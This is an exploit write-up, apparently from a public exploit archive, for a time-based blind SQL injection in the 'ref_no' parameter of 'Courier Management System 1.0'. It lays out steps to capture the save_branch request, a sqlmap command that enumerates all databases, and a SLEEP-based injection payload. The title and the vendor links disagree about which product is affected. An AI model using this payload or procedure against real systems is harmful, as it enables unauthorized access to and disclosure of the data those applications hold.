Courier Management System 1.0 - 'ref_no' SQL Injection

# Exploit Title: Courier Management System 1.0 - 'ref_no' SQL Injection
# Exploit Author: Zhaiyi (Zeo)
# Date: 2020-12-11
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application

Step 1. Log into application with credentials
Step 2. Click on Branch
Step 3. Select New Branch http://127.0.0.1/index.php?page=new_branch
Step 4. Fill the form  , click on save
Step 5. Capture the request of the ""/ajax.php?action=save_branch"" page inburpsute
Step 6. Save request and run sqlmap on request file using command " sqlmap -r request --time-sec=5 --dbs "
Step 7. This will inject successfully and you will have an information disclosure of all databases contents

---
Parameter: ref_no (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ref_no=123' AND (SELECT 5575 FROM (SELECT(SLEEP(5)))ngIo) AND
'knst'='knst
---